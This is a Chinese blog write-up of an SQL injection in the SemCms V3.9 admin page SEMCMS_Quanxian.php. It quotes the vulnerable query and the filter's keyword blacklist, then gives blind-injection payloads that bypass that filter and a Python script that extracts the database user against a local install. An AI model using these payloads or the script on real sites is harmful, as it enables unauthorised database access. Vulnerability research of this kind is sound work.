这篇文章上次修改于 439 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

在CNVD上看到前两天又有人提交SemCms程序的漏洞,看标题上文件名用星号打码了,好奇下载好V3.9的程序后看了下,猜测应该是SEM***_Q***.php,文件代码如下:

tu1

因为不是MVC框架,看着代码有点乱。整个文件就这一句SQL语句,应该就是这里了:

$row = mysqli_fetch_array($db_conn->query("SELECT * FROM sc_categories WHERE ID=".$_GET["pid"]))

从文件头部再看下,包含了SEMCMS_Top_include.php,经过梳理大概包含了以下文件:

include_once './Include/inc.php';
include_once 'SEMCMS_Function.php';

'SEMCMS_Top_include.php';
'../Include/db_conn.php'; //数据库连接文件
'../Include/contorl.php'; //过滤文件
'./Include/inc.php';
'function.php';
'SEMCMS_Function.php'

安全过滤的函数在contorl.php文件中,代码如下:

文件名include_once "class.phpmailer.php"
// 防sql入注

if (isset($_GET)){$GetArray=$_GET;}else{$GetArray='';} //get
 
foreach ($GetArray as $value){ //get
    
    verify_str($value);
  
}

function inject_check_sql($sql_str) {
  
     return preg_match('/select|insert|=|%|>|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str); 
} 

function verify_str($str) { 
 
   if(inject_check_sql($str)) {
   
       exit('Sorry,You do this is wrong! (.-.)');
    } 
 
    return $str; 
} 

使用php正则匹配过滤险参数,$GET的URL参数赋值给$GetArray并进行inject_check_sql检测,而inject_check_sql函数将会白名单的方式检测这些危险参数:

select|insert|=|%|>|between|update|\'|\*|union|into|load_file|outfile</pre>

不过依旧可以用布尔盲注绕过,只是这里利用起来需要登陆后台。构造URL:
http://localhost/VnwRgS_Admin/SEMCMS_Quanxian.php?type=edit&pid=1

接着构造payload查下数据库名称的长度:

and length(user())>14--+


tu2

返回不正常,改为13试试,OK,正常了:

tu3


大于13且不大于14,那么就是14位了。可以用strcmp()和left()函数注出库名:

结果:root@localhost



配合substr()读取,从网上找了脚本改了改:

#!/usr/bin/python
# -*- coding: UTF-8 -*-


import requests
url = "http://localhost/VnwRgS_Admin/SEMCMS_Quanxian.php?type=edit&amp;pid=1"
cookie1 = 'PHPSESSID=ohf50m8sdli1i65ck4956dhas6; __tins__4329483=%7B%22sid%22%3A%201586483965047%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201586485765047%7D; __51cke__=; __51laig__=1; scusername=%E6%80%BB%E8%B4%A6%E5%8F%B7; scuseradmin=Admin; scuserpass=c4ca4238a0b923820dcc509a6f75849b'
cookie = dict(map(lambda x:x.split('='),cookie1.split(";")))

print("Testing url: " + url)
#十进制数33-126间的ascii hex值
payload = ["0x21","0x22","0x23","0x24","0x25","0x26","0x27","0x28","0x29","0x2a",
            "0x2b","0x2c","0x2d","0x2e","0x2f","0x30","0x31","0x32","0x33","0x34",
            "0x35","0x36","0x37","0x38","0x39","0x3a","0x3b","0x3c","0x3d","0x3e",
            "0x3f","0x40","0x41","0x42","0x43","0x44","0x45","0x46","0x47","0x48",
            "0x49","0x4a","0x4b","0x4c","0x4d","0x4e","0x4f","0x50","0x51","0x52",
            "0x53","0x54","0x55","0x56","0x57","0x58","0x59","0x5a","0x5b","0x5c",
            "0x5d","0x5e","0x5f","0x60","0x61","0x62","0x63","0x64","0x65","0x66",
            "0x67","0x68","0x69","0x6a","0x6b","0x6c","0x6d","0x6e","0x6f","0x70",
            "0x71","0x72","0x73","0x74","0x75","0x76","0x77","0x78","0x79","0x7a",
            "0x7b","0x7c","0x7d"
           ]
user = ""
for b in range(len(payload)):
    for a in payload:
        #sql_payload_user = " and strcmp(substr(database(),%s,1), 0x%s) rlike 0" % (b+1, a.replace("0x",""))    #当前数据库名称
        sql_payload_user = " and strcmp(substr(user(),%s,1), 0x%s) rlike 0--+" % (b+1, a.replace("0x",""))      #当前数据库用户名
        res = requests.get(url + sql_payload_user,cookies=cookie).text
        if len(res) == 5234 or len(res) == 5235: 
            user = user + a
            print '[+]info: ' + '0x' + user.replace("0x","").upper()
            break


脚本运行结果:


tu9